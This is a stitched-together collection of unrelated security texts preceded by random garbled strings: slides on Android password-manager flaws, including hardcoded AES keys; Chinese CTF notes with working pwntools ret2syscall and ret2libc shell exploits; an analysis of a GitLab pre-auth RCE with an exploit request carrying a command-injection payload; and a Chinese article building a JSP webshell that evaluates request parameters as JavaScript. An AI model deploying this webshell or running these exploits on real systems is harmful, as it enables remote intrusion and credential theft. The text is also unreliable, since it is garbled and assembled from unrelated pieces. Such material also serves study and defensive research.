ukieTh6fu[ ie*vieZai9 ohwu(v0eeY ua&ghi7aeR em?ohG?oi3 phu$L^ah4p ieX&i2shei
aiZie%l7Oo ood8Pe<emo faiGh[ie0i OPho9sie>n phie9Ib(ie beiMei[r7a Nagh(aid0U
AhTee:tah5 oY"a5pheib ohthe1Na.e eria9Ahn>u eid8Ohso!o Uv4ia6Gu`o Aeli1li$i&
Toth^ai8ph Euso6eu$ja vie8Ieh?ai leec4aeZ/o Eele+ph2na yai=b!a5Oo Wefoh&m4oh
Vo-oX9ka0v ei9eenuN<a Eit}ae4ohF heRie.J6Bo OoZ-ue9mai zait8coo]N yoh9Oopoh$
xoh%C:ahk6 Zi]opu4eiB eGh>ih2oPh noo7Ish'ie Uaz6she|Zu oo0aiP*ee2 coh=Puo1Ve
roo9Kee-th ra@c3Ce7sh mabi6Malo[ auw1Eu\kie eiVoo,Kuu5 aiW\oo5phu Oos_abir7U
Reality
7
Note
Password-Manager
Password-Recycling
Single Sign On
8
App
GooglePlay Downloads
Keeper
10 – 50 m
Keepsafe
10 – 50 m
1Password
1 – 5 m
Dashlane
1 – 5 m
Lastpass
1 – 5 m
Avast
0.5 – 1 m
MyPasswords
0.5 – 1 m
F-Secure
100 – 500 k
PasswordManger
50 – 100 k
26 Vulnerabilities
9
• Premium features for free
• Resetting master password with ease
• Breaking C.I.A without ROOT
• Lost device scenario
• Mitm attack
• Via third party app
11
Premium upgrade for free !
12
13
App 1
App 2
Android
PC
Intent Communication (IPC)
14
PC
Android
adb shell am start -n <package-
name>/.DatabaseSettings –ei
PAID-STATUS 2
class DatabaseSettings {
protected static boolean PAID = false;
protected void onCreate(Bundle bundle) {
…
if (getIntent().getIntExtra("PAID-STATUS", 0) == 2){
PAID = true;
}
…
}
public void onActivityCreated(Bundle bundle) {
…
checkBoxForBackup.setEnabled(PAID);
…
}
}
15
Resetting Master Password
16
Common Password Reset Process
Forgot Password
Verification
Code via Email
YES
Correct ?
Security Question
YES
Reset
Master Password
Correct ?
YES
USER
Lost-Device Scenario
17
<activity android:theme="@*android:style/Theme.NoDisplay"
android:label="@afk/app_name"
android:name="com.xyz.android_apps.noname.DeepLinkActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="https" android:host="xyz.com" android:pathPattern="/.*st.*" />
</intent-filter>
</activity>
Manifest:
adb shell am start -n
com.xyz.android_apps.noname/.Dee
pLinkActivity
Start Activity:
18
19
Common Password Reset Process
Forgot Password
Verification
Code via Email
YES
Correct ?
Security Question
YES
Reset
Master Password
Correct ?
YES
USER
26
Get Master Secret
Master Secret
Extraction process
• ADB-backup
• Mitm attack
• Browser file access
• Residue attack
Decryption process
• Plaintext
• Custom crypto
• Hardcoded symmetric keys
• Custom obfuscation
28
1
2
Master Secret
Extraction process
• Mitm attack
Decryption process
• Custom crypto
29
1
2
User Authentication
30
username:password
success
HTTP + Custom Crypto
31
Authentication Process
http – POST - request
seed = time[ms]
key = random(seed)
enc_data = AES(key, auth_data)
seed = time[ms]
key = random(seed)
dec_data = AES(key, auth_data)
Body:
Header:
enc_data
encrypted payload
?
32
Authentication Process
http - POST
seed = time[ms]
key = random(seed)
enc_data = AES(key, auth_data)
seed = time[ms]
key = random(seed)
dec_data = AES(key, auth_data)
seed = time[ms]
key = random(seed)
dec_data = AES(key, auth_data)
Best Practices: Secure Communication
• Android, correct SSL/TLS*
• Stronger, SSL/TLS (Pinning)
• Android 7 supports pinning (security configuration file)
• Use library with pinning support, e.g. OkHttp library
(take care of version)
33
URL url = new URL("https://example.org");
URLConnection urlConnection = url.openConnection();
InputStream in = urlConnection.getInputStream();
…
*https://developer.android.com/training/articles/security-ssl.html
Master Secret
Extraction process
• Browser file access
34
1
35
API accessing browser elements
credentials
Pw Manager
36
Inject
37
base64(encr(key, PASS))
file:///data/data/package.name/shared_prefs/passwd_pref.xml
password manager process
Master Secret
Extraction process
• Residue attack
38
1
39
THE ACCOUNTMANAGER
THE WHAT ?
Android AccountManger
• “This class provides access to a centralized registry
for the user‘s online accounts …“
• SQLITE Database for storing tokens or temp.
Credentials
• API provides access for Application
40
/data/system/users/0 # ls -l accounts.db
-rw-rw---- system
system
241664 2017-04-03 10:58 accounts.db
“With this in mind, you shouldn't pass the user's actual password to
AccountManager.addAccountExplicitly(). Instead, you should
store a cryptographically secure token that would be of limited use to an attacker.
If your user credentials are protecting something valuable, you should carefully
consider doing something similar.”
https://developer.android.com/training/id-auth/custom_auth.html
Quote google developer (AccountManager)
41
DEMO TIME !
42
DEMO TIME !
43
AccountManager
ID
email
type
token
accounts.db
44
AccountManager
ID
email
type
token
com.account
[email protected]
secret
Target App
account type
accounts.db
45
AccountManager
ID
email
type
token
1
[email protected]
com.account
secret
com.account
[email protected]
secret
Target App
account type
installation
accounts.db
UID = 123
46
AccountManager
ID
email
type
token
1
[email protected]
com.account
secret
com.account
[email protected]
stuff
Attacker App
account type
installation
accounts.db
UID = 456
47
AccountManager
ID
email
type
token
1
[email protected]
com.account
secret
accounts.db
UID = 456
COLLISION !
UID:123 UID:456
48
AccountManager
ID
email
type
token
1
[email protected]
com.account
secret
accounts.db
UID = 456
COLLISION !
UID:123 UID:456
uninstall target app
com.account
49
AccountManager
ID
email
type
token
1
[email protected]
com.account
secret
accounts.db
Not removed,
there is an app with matching account type
com.account
50
AccountManager
ID
email
type
token
1
[email protected]
com.account
secret
accounts.db
Attacker app can now access the secret !
com.account
Master Secret
Decryption process
• Hardcoded symmetric keys
• Custom obfuscation
51
2
Crypto – Do it right
52
“A cryptosystem should be secure even if everything
about the system, except the key, is public knowledge.” *
*JOURNAL DES SCIENCES MILITAIRES. Janvier 1883. LA CRYPTOGRAPHIE MILITAIRE.
Kerckhoffs's principle
Correct encryption
53
master secret
(password)
cipher-text
key derivation function
(e.g. PBKDF2)
encryption or
decryption
Lsdh3ji
a32er4o
er3owe2
daerw23
Bad Crypto
54
master password
(mp)
encryption/ decryption
(enc(mp, d))
Lsdh3ji
a32er4o
er3owe2
daerw23
static key = s
store enc(s, mp)
mp =
mp
cipher-text
+ [0…0]
data d
Hard-coded keys
55
String = staticinvoke f.b("ydPCPFnpqfPuuBYPzhfGXD38gtUPN2yj",
$String);
public abstract class LPCommon {
//first part of the key
protected static String aA = "ldT52Fjsnjdn4390";
//second part of the key
protected static String aB = "89y23489h989fFFF";
AES-Key = ydPCPFnpqfPuuBYPzhfGXD38gtUPN2yj
AES-Key = ldT52Fjsnjdn4390 89y23489h989fFFF;
Broken Key Obfuscation
56
master password
(mp)
random key
self-implemented random
enc(k_rand, mp)
obf(k_rand) = k_obf
obfuscator
encryption
k_rand
sizeof(k_rand)=9
9
55
obfuscated key
Break Obfuscation
57
obfuscated key
?
k_rand
unknown
deobfuscation
break it
k_obf
random key
master password
(password= mp)
Example:
Abc2QNFeenpK
enc(k_rand, mp)
Key Obfuscation Analysis
58
k_random parts
k_obfuscated pos
k_obf parts
k[0] + k[1]
[0-2]
Abc
k[2]
3
2
k[3] + k[4]
[4-6]
QNF
k[5]
7
e
k[6] + k[7]
[8-11]
enp
k[8]
12
K
modified
changes
independent
reverse lookup table
Reverse Lookup
59
obf(kr) parts
Key k[n] + k[n+1]
…
…
Abc
kl
…
…
QNF
Bq
…
…
enp
zz
2
y
..
…
K
1
…
..
e
Z
obfuscated key
k_obf
Example:
Abc2QNFeenpK
k_rand
klyBqZzz1
=
random key
lookup table
Decrypt Master Password
60
master password
(mp)
enc(k_rand, mp)
decryption
k_rand
klyBqZzz1
=
random key
Recommendations (1/2)
• Use Android KeyStore
• Key derivation (e.g. PBKDF2 (API), Conceal (Open
Source, bcrypt, …))
• No static keys
• Use AES/CBC or AES/GCM
61
Recommendations (2/2)
• Disable backup flag (apps support backend
synchronization -> implicit backup)
• If there is a master pass storage function, do not
store it in plaintext
• Do not store the master pass in the local app
folder, this is not a protected area
62
63
Keeper
Lastp
1Pass
MyPass
Avast
F-Sec
Keeps.
PwMgr
Mirsoft
Dash
Master/PIN
X
X
X
X
X
X
X
X
Hardcoded
Key
X
X
X
X
Sandbox
Bypass
X
X
X
X
X
Side channel
X
X
X
X
X
Subdomain
X
X
X
X
X
X
Data leakage
X
X
X
Partial
encryption
X
Broken sync.
X
www.sit4.me/pw-manager
64
66
THIS IS THE END
MY FRIEND
67
Stephan Huber
Email: [email protected]
Siegfried Rasthofer
Email: [email protected]
Twitter: @teamsik
Website: www.team-sik.org | pdf |
pwn-
ctfwikihttps://wiki.x10sec.org/pwn/linux/user-mode/stackoverflow/x86/stack-intro/
ctfwikictfwiki
32
sudo apt-get install lib32z1 lib32ncurses5
unbuntu20lib32z1
1. = EBPRBP - + 48
2. callcallmv ebp+0x8
x86x64
3. 232
1n
gdbpwntools
socatpwn
socat tcp-l:6666,fork exec:../ret2syscall,reuseaddr
6666
py
gdb.attach(p)
pause()
6666gdbgdbmain
breakgets
pypayloadgdbc
ret2syscall
rop
https://blog.csdn.net/qq_29343201/article/details/52209588
arg1arg2……int 80
execvex864x648
1. gadget
2. pop
gadgetpop
3. gadget
4. pop
5. …………
6. int 80
ropgedget
ROPgadget --binary ret2syscall --only "pop|ret" | grep "eax"
ROPgadget --binary ret2syscall --only "int"
ROPgadget --binary ret2syscall --string "/bin/sh"
from pwn import *
host = '127.0.0.1'
port = 6666
#p = process("../ret2syscall")
p = connect(host, port)
context(log_level = "debug", arch = 'x86', os = 'linux')
#gdb.attach(p)
pause()
popeaxaddr = 0x080bb196
pop3argsaddr = 0x0806eb90
int80addr = 0x08049421
shstringaddr = 0x080be408
payload = b'A' * 0x70 + p32(popeaxaddr) +p32(0xB)+ p32(pop3argsaddr)+ p32(0) +p32(0)+p32(shstringaddr)+ p32(int80add
r)
print(payload)
p.recvuntil("What do you plan to do?")
p.sendline(payload)
p.interactive()
ret2shellcode
returnprintshellcodeNXdisable
from pwn import *
host = '127.0.0.1'
port = 1111
#p = process("../pwn_2")
p = connect(host, port)
context(arch = 'amd64', os = 'linux')
shellcode = asm(shellcraft.sh())
p.recvline()
buffaddr = p.recvline()
buffaddr = buffaddr[14:28]
buffaddr = int(buffaddr,16)
retaddr = buffaddr + 0x18 + 0x08
payload = b'A' * 0x18 + p64(retaddr) + shellcode
p.recvuntil("Input someting : \n")
p.sendline(payload)
p.interactive()
ret2libc
pltgot
https://cloud.tencent.com/developer/article/1590167?from=article.detail.1680494
ctfwiki
ret2libc1
securemainsecuresystemsystem.plt
plt.data/bin/sh
ret2libc2
/bin/shgets.pltsystem.pltgets
bssbsssystem.plt
ret2libc3
libcsystem.gotsystemlibc
/bin/sh
libcGOTlibcgot
libclibcGOT
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3') //
puts_plt = ret2libc3.plt['puts']
//puts.pltputsputs.pltputs
libc_start_main_got = ret2libc3.got['__libc_start_main']
//libcstartmaingot
main = ret2libc3.symbols['main']
//main
print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
//putslibcstartmaingotputsgot
putsmainlibcstartma
in
sh.sendlineafter('Can you find it !?', payload)
print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
//p32bytesu32bytes
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
//libcsearcherlibclibcadd_condition(leaked_f
unc, leaked_address)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
//==libclibcbase
print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()
libchttps://libc.blukat.me/?q=fgets%3Ad90
infoleak
https://gloxec.github.io/2017/02/15/exploit%20without%20info%20leak/ | pdf |
1
CVE-OLON-OOOLS Gitlab 前台RCE 分析之 P。
接 https://t.zsxq.com/aYZzVbu
公众号: https://mp.weixin.qq.com/s?
__biz=Mzg4NzcxMDgyOA==&mid=2247483654&idx=1&sn=8c0f99c646e63460d3190508613cac4
5&chksm=cf877405f8f0fd1382100c97af86db549084b987c515c848eb8a7faa92eaac7b5aeb0ac9
2ece#rd
==========================================================================
======
从前⾯的分析,其实可以继续问⼏个问题。
1、除了 uploads/user 接⼝,还有其他接⼝么?
2、是否真的需要 CSRF ,或者说 第⼀步是否是真的需要
对于 ⼤部分 规则性的 waf,最简单的可能就是 正则匹配内容 ,请求⽅法/路径/POST包,基本
上封杀掉下⾯这个模式,已经能挡住绝⼤部分脚本⼩⼦了吧。。。
2
但从我前⾯的 第2 部分来看 其实 routes.go 中的其他路由 可以拿过来利⽤
环境搭建 使⽤ https://github.com/vulhub/vulhub/blob/master/gitlab/CVE-2021-
22205/README.zh-cn.md 感谢P师傅。
例如
snippetUploadPattern 为
Go
复制代码
POST /uploads/user HTTP/1.1
Content-Type: multipart/form-data;
boundary=22f5e4b5ec8883262a0a1e07619d0efd
Content-Type: image/jpeg
AT&TFORM•••[DJVUINFO•••
••••••,•••BGjp••••ANTa•••5(metadata
(Copyright "\
" . qx{command} . \
" b ") )
--22f5e4b5ec8883262a0a1e07619d0efd--
1
2
3
4
5
6
7
8
9
10
11
12
Go
复制代码
// Uploads
u.route("POST", projectPattern+`uploads\z`, upload.Accelerate(api,
signingProxy, preparers.uploads)),
u.route("POST", snippetUploadPattern, upload.Accelerate(api, signingProxy,
preparers.uploads)),
u.route("POST", userUploadPattern, upload.Accelerate(api, signingProxy,
preparers.uploads)),
1
2
3
4
Go
复制代码
snippetUploadPattern = `^/uploads/personal_snippet`
1
3
其他路由也可以试试,(有可能需要登陆 :)
来解决第⼆个问题,= = CSRF Token 真的需要吗? 回到 routes.go
Go
复制代码
projectPattern = `^/([^/]+/){1,}[^/]+/`
u.route("POST", projectPattern+`uploads\z`, upload.Accelerate(api,
signingProxy, preparers.uploads)),
POST /1/1/uploads
1
2
3
4
5
4
先来看下 gitlab-workhorse 的是怎么匹配路由的
Go
复制代码
// Routing table
// We match against URI not containing the relativeUrlRoot:
// see upstream.ServeHTTP
func configureRoutes(u *upstream) {
preparers := createUploadPreparers(u.Config)
uploadPath := path.Join(u.DocumentRoot, "uploads/tmp")
uploadAccelerateProxy :=
upload.Accelerate(&upload.SkipRailsAuthorizer{TempPath: uploadPath},
proxy, preparers.uploads)
...
// Serve static files or forward the requests
defaultUpstream := static.ServeExisting(
u.URLPrefix,
staticpages.CacheDisabled,
static.DeployPage(static.ErrorPagesUnless(u.DevelopmentMode,
staticpages.ErrorFormatHTML, uploadAccelerateProxy)),
)
probeUpstream := static.ErrorPagesUnless(u.DevelopmentMode,
staticpages.ErrorFormatJSON, proxy)
healthUpstream := static.ErrorPagesUnless(u.DevelopmentMode,
staticpages.ErrorFormatText, proxy)
u.Routes = []routeEntry{
u.route(...)
...
u.route("", "", defaultUpstream),
}
// Routes which should actually be served locally by a Geo Proxy. If
none
// matches, then then proxy the request.
u.geoLocalRoutes = []routeEntry{
u.route(...)
// Don't define a catch-all route. If a route does not match, then
we know
// the request should be proxied.
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
5
Go
复制代码
type routeEntry struct {
method string
regex *regexp.Regexp
handler http.Handler
matchers []matcherFunc
}
# workhorse/internal/upstream/upstream.go:123
func (u *upstream) ServeHTTP(w http.ResponseWriter, r *http.Request) {
...
cleanedPath := prefix.Strip(URIPath)
route := u.findRoute(cleanedPath, r)
if route == nil {
// The protocol spec in git/Documentation/technical/http-
protocol.txt
// says we must return 403 if no matching service is found.
helper.HTTPError(w, r, "Forbidden", http.StatusForbidden)
return
}
for _, h := range requestHeaderBlacklist {
r.Header.Del(h)
}
route.handler.ServeHTTP(w, r)
}
# workhorse/internal/upstream/upstream.go:166
func (u *upstream) findRoute(cleanedPath string, r *http.Request)
*routeEntry {
if u.enableGeoProxyFeature {
if route := u.findGeoProxyRoute(cleanedPath, r); route != nil {
return route
}
}
for _, ro := range u.Routes {
if ro.isMatch(cleanedPath, r) {
return &ro
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
6
⽽在 routeEntry 中有 u.route("", "", defaultUpstream), 也即
当 请求到不在 route 表⾥具体指定的路径时,例如随便请求⼀个路由, GET /aaaaaaaaaa
对应到 routes.go 中的 isMatch 即 ro.regex.MatchString(cleanedPath)
return nil
}
# workhorse/internal/upstream/routes.go:155
func (ro *routeEntry) isMatch(cleanedPath string, req *http.Request) bool
{
if ro.method != "" && req.Method != ro.method {
return false
}
if ro.regex != nil && !ro.regex.MatchString(cleanedPath) {
return false
}
ok := true
for _, matcher := range ro.matchers {
ok = matcher(req)
if !ok {
break
}
}
return ok
}
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
Go
复制代码
method string => ""
regex *regexp.Regexp => ""
handler http.Handler => defaultUpstream
1
2
3
7
因此会进⼊ defaultUpstream 也即这段逻辑
进⽽调⽤ static.ServeExisting workhorse/internal/staticpages/servefile.go:29
Go
复制代码
uploadAccelerateProxy :=
upload.Accelerate(&upload.SkipRailsAuthorizer{TempPath: uploadPath},
proxy, preparers.uploads)
...
// Serve static files or forward the requests
defaultUpstream := static.ServeExisting(
u.URLPrefix,
staticpages.CacheDisabled,
static.DeployPage(static.ErrorPagesUnless(u.DevelopmentMode,
staticpages.ErrorFormatHTML, uploadAccelerateProxy)),
)
1
2
3
4
5
6
7
8
9
8
notFoundHandler 也即
static.DeployPage(static.ErrorPagesUnless(u.DevelopmentMode,
staticpages.ErrorFormatHTML, uploadAccelerateProxy))
Go
复制代码
// BUG/QUIRK: If a client requests 'foo%2Fbar' and 'foo/bar' exists,
// handleServeFile will serve foo/bar instead of passing the request
// upstream.
func (s *Static) ServeExisting(prefix urlprefix.Prefix, cache CacheMode,
notFoundHandler http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if notFoundHandler == nil {
notFoundHandler = http.HandlerFunc(http.NotFound)
}
// We intentionally use r.URL.Path instead of r.URL.EscaptedPath()
below.
// This is to make it possible to serve static files with e.g. a
space
// %20 in their name.
relativePath, err := s.validatePath(prefix.Strip(r.URL.Path))
if err != nil {
notFoundHandler.ServeHTTP(w, r)
return
}
file := filepath.Join(s.DocumentRoot, relativePath)
if !strings.HasPrefix(file, s.DocumentRoot) {
log.WithRequest(r).WithError(errPathTraversal).Error()
notFoundHandler.ServeHTTP(w, r)
return
}
...
})
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
9
这⾥进⼀步进⼊到 handler.ServeHTTP(w, r) 即 static.ErrorPagesUnless
workhorse/internal/staticpages/error_pages.go:125
因此进⼊到 uploadAccelerateProxy 即 routes.go 中的
Go
复制代码
func (s *Static) DeployPage(handler http.Handler) http.Handler {
deployPage := filepath.Join(s.DocumentRoot, "index.html")
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
data, err := ioutil.ReadFile(deployPage)
if err != nil {
handler.ServeHTTP(w, r)
return
}
helper.SetNoCacheHeaders(w.Header())
w.Header().Set("Content-Type", "text/html; charset=utf-8")
w.WriteHeader(http.StatusOK)
w.Write(data)
})
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Go
复制代码
func (st *Static) ErrorPagesUnless(disabled bool, format ErrorFormat,
handler http.Handler) http.Handler {
if disabled {
return handler
}
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
rw := errorPageResponseWriter{
rw: w,
path: st.DocumentRoot,
format: format,
}
defer rw.flush()
handler.ServeHTTP(&rw, r)
})
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
10
⽽ upload.Accelerate 的逻辑 就是前⾯第 1 、2 部分中分析过的触发点。
Accelerate 摘录⾄此:
对⽐⼀下之前POC触发点,先是通过了 api 即 apiclient 向后端 rails-web 发起
/uploads/user/authorize 取得响应后调⽤ HandleFileUploads(w, r, h, a, s, opts)
⽽ 这⾥的逻辑是 &upload.SkipRailsAuthorizer{TempPath: uploadPath}
在
workhorse/internal/upload/skip_rails_authorizer.go:8
Go
复制代码
uploadAccelerateProxy :=
upload.Accelerate(&upload.SkipRailsAuthorizer{TempPath: uploadPath},
proxy, preparers.uploads)
1
2
Go
复制代码
func Accelerate(rails PreAuthorizer, h http.Handler, p Preparer)
http.Handler {
return rails.PreAuthorizeHandler(func(w http.ResponseWriter, r
*http.Request, a *api.Response) {
s := &SavedFileTracker{Request: r}
opts, _, err := p.Prepare(a)
if err != nil {
helper.Fail500(w, r, fmt.Errorf("Accelerate: error preparing
file storage options"))
return
}
HandleFileUploads(w, r, h, a, s, opts)
}, "/authorize")
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Go
复制代码
u.route("POST", userUploadPattern, upload.Accelerate(api, signingProxy,
preparers.uploads)),
1
2
11
换句话说 这⾥构造了⼀个 假的本地API,从⽽直接返回,毕竟在开发⼈员看来 这⾥只是为了构造
static page 或 ErrorPagesUnless ,可以不需要往后端 rails-web 中再去取数据,因为请求没有流转
到后端 rails ,换句话说 并没有触发CSRF检验 = =。
所以综上所述,可以构造这样的数据包
Go
复制代码
// SkipRailsAuthorizer implements a fake PreAuthorizer that do not calls
rails API and
// authorize each call as a local only upload to TempPath
type SkipRailsAuthorizer struct {
// TempPath is the temporary path for a local only upload
TempPath string
}
// PreAuthorizeHandler implements PreAuthorizer. It always grant the
upload.
// The fake API response contains only TempPath
func (l *SkipRailsAuthorizer) PreAuthorizeHandler(next api.HandleFunc, _
string) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
next(w, r, &api.Response{TempPath: l.TempPath})
})
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
12
⽆需 CSRF ⽆需 Cookie Session,也不⽤任何路径,⼀个请求搞定。
==========================================================================
=======
公众号: https://mp.weixin.qq.com/s?
__biz=Mzg4NzcxMDgyOA==&mid=2247483654&idx=1&sn=8c0f99c646e63460d3190508613cac4
13
5&chksm=cf877405f8f0fd1382100c97af86db549084b987c515c848eb8a7faa92eaac7b5aeb0ac9
2ece#rd | pdf |
1
种新型Java句话⽊⻢的实现
前⾔
基本原理
获取脚本引擎
绑定对象
eval
基本语法
调⽤Java⽅法
导⼊Java类型
创建Java类型的数组
导⼊Java类
⽅法调⽤与重载
Payload结构设计
语法问题的坑
两种语⾔对象间的相互转换
Rhino/Nashorn解析的差异
反射的坑
保底操作
测试
最后
@yzddMr6
⼀直以来,Java⼀句话⽊⻢都是采⽤打⼊字节码defineClass实现的。这种⽅法的优势是可以完整的打
进去⼀个类,可以⼏乎实现Java上的所有功能。不⾜之处就是Payload过于巨⼤,并且不像脚本语⾔⼀
样⽅便修改。并且还存在很多特征,例如继承ClassLoader,反射调⽤defineClass等。本⼈在这⾥提出
⼀种新型Java⼀句话⽊⻢:利⽤Java中JS引擎实现的⼀句话⽊⻢。
前⾔
基本原理
2
1. Java没有eval函数,Js有eval函数,可以把字符串当代码解析。
2. Java从1.6开始⾃带ScriptEngineManager这个类,原⽣⽀持调⽤js,⽆需安装第三⽅库。
3. ScriptEngine⽀持在Js中调⽤Java的对象。
综上所述,我们可以利⽤Java调⽤JS引擎的eval,然后在Payload中反过来调⽤Java对象,这就是本⽂
提出的新型Java⼀句话的核⼼原理。
ScriptEngineManager全名javax.script.ScriptEngineManager,从Java 6开始⾃带。其中Java 6/7采
⽤的js解析引擎是Rhino,⽽从java8开始换成了Nashorn。不同解析引擎对同样的代码有⼀些差别,这
点后⾯有所体现。
如果说原理其实⼀两句话就可以说清楚,但是难点在于Payload的编写。跨语⾔调⽤最⼤的⼀个难点就
是数据类型以及⽅法的转换。例如Java中有byte数组,Js中没有怎么办?C++⾥有指针但是Java⾥没有
这个玩意怎么办?
在实现期间踩了很多的坑,这篇⽂章跟⼤家⼀起掰扯掰扯,希望能给⼤家提供点帮助。
或者通过eval的重载函数,直接把对象通过⼀个HashMap放进去
获取脚本引擎
Plain Text
复制代码
绑定对象
Plain Text
复制代码
//通过脚本名称获取:
ScriptEngine engine = new
ScriptEngineManager().getEngineByName("JavaScript"); //简写为js也可以
//通过⽂件扩展名获取:
ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");
//通过MIME类型来获取:
ScriptEngine engine = new
ScriptEngineManager().getEngineByMimeType("text/javascript");
1
2
3
4
5
6
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));
1
2
3
4
3
综合上⾯两步,有很多种写法,例如:
shell.jsp
或者直接缩写成⼀句:
以执⾏命令为例:
POST:mr6=java.lang.Runtime.getRuntime().exec("calc");
Plain Text
复制代码
eval
Plain Text
复制代码
Plain Text
复制代码
new
javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getPara
meter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}}))
1
2
3
4
<%
javax.script.ScriptEngine engine = new
javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));
%>
1
2
3
4
5
6
7
8
<%
new
javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getPara
meter("mr6"), new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}}));
%>
1
2
3
4
5
6
4
即可达到命令执⾏的效果。
翻阅⽂档⽐较枯燥,这⾥挑⼀些⽤到的说⼀说。
感兴趣的同学也可以看⼀下原⽂档:https://docs.oracle.com/en/java/javase/12/scripting/java-
scripting-programmers-guide.pdf
前⾯加上全限定类名即可
基本语法
调⽤Java⽅法
Plain Text
复制代码
导⼊Java类型
var s = [3];
s[0] = "cmd";
s[1] = "/c";
s[2] = "whoami";//yzddmr6
var p = java.lang.Runtime.getRuntime().exec(s);
var sc = new java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A");
var result = sc.hasNext() ? sc.next() : "";
sc.close();
1
2
3
4
5
6
7
8
5
默认情况下,Nashorn 不会导⼊Java的包。这样主要为了避免类型冲突,⽐如你写了⼀个new String,
引擎怎么知道你new的是Java的String还是js的String?所以所有的Java的调⽤都需要加上全限定类名。
但是这样写起来很不⽅便。
这个时候⼤聪明Mozilla Rhino 就想了⼀个办法,整了个扩展⽂件,⾥⾯提供了importClass 跟
importPackage ⽅法,可以导⼊指定的Java包。
importClass 导⼊指定Java的类,现在推荐⽤Java.type
importPackage 导⼊⼀个Java包,类似import com.yzddmr6.*,现在推荐⽤JavaImporter
这⾥需要注意的是,Rhino对该语法的错误处理机制,当被访问的类存在时,Rhino加载该class,⽽当
其不存在时,则把它当成package名称,⽽并不会报错。
Plain Text
复制代码
创建Java类型的数组
Plain Text
复制代码
导⼊Java类
●
●
Plain Text
复制代码
var Vector = java.util.Vector;
var JFrame = Packages.javax.swing.JFrame;
//这种写法仅仅⽀持Nashorn,Rhino并不⽀持
var Vector = Java.type("java.util.Vector")
var JFrame = Java.type("javax.swing.JFrame")
1
2
3
4
5
6
// Rhino
var Array = java.lang.reflect.Array
var intClass = java.lang.Integer.TYPE
var array = Array.newInstance(intClass, 8)
// Nashorn
var IntArray = Java.type("int[]")
var array = new IntArray(8)
1
2
3
4
5
6
7
8
load("nashorn:mozilla_compat.js");
importClass(java.util.HashSet);
var set = new HashSet();
importPackage(java.util);
var list = new ArrayList();
1
2
3
4
5
6
7
6
在⼀些特殊情况下,导⼊的全局包会影响js中的函数,例如类名冲突。这个时候可以⽤JavaImporter,
并配合with语句,对导⼊的Java包设定⼀个使⽤范围。
⽅法在JavaScript中实际上是对象的⼀个属性,所以除了使⽤ . 来调⽤⽅法之外,也可以使⽤[]来调⽤
⽅法:
Java⽀持重载(Overload)⽅法,例如,System.out 的 println 有多个重载版本,如果你想指定特定的
重载版本,可以使⽤[]指定参数类型。例如:
详情写在注释⾥了
Plain Text
复制代码
⽅法调⽤与重载
Plain Text
复制代码
Plain Text
复制代码
Payload结构设计
// create JavaImporter with specific packages and classes to import
var SwingGui = new JavaImporter(javax.swing,
javax.swing.event,
javax.swing.border,
java.awt.event);
with (SwingGui) {
// 在with⾥⾯才可以调⽤swing⾥⾯的类,防⽌污染
var mybutton = new JButton("test");
var myframe = new JFrame("test");
}
1
2
3
4
5
6
7
8
9
10
11
12
var System = Java.type('java.lang.System');
System.out.println('Hello, World'); // Hello, World
System.out['println']('Hello, World'); // Hello, World
1
2
3
var System = Java.type('java.lang.System');
System.out['println'](3.14); // 3.14
System.out['println(double)'](3.14); // 3.14
System.out['println(int)'](3.14); // 3
1
2
3
4
7
Plain Text
复制代码
//导⼊基础拓展
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
//导⼊常⻅包
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
var output = new StringBuffer(""); //输出
var cs = "${jspencode}"; //设置字符集编码
var tag_s = "${tag_s}"; //开始符号
var tag_e = "${tag_e}"; //结束符号
try {
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
function decode(str) {
//参数解码
str = str.substr(2);
var bt = Base64DecodeToByte(str);
return new java.lang.String(bt, cs);
}
function Base64DecodeToByte(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var bt;
try {
bt = new BASE64Decoder().decodeBuffer(str);
} catch (e) {
bt = Base64.getDecoder().decode(str);
}
return bt;
}
function asoutput(str) {
//回显加密
return str;
}
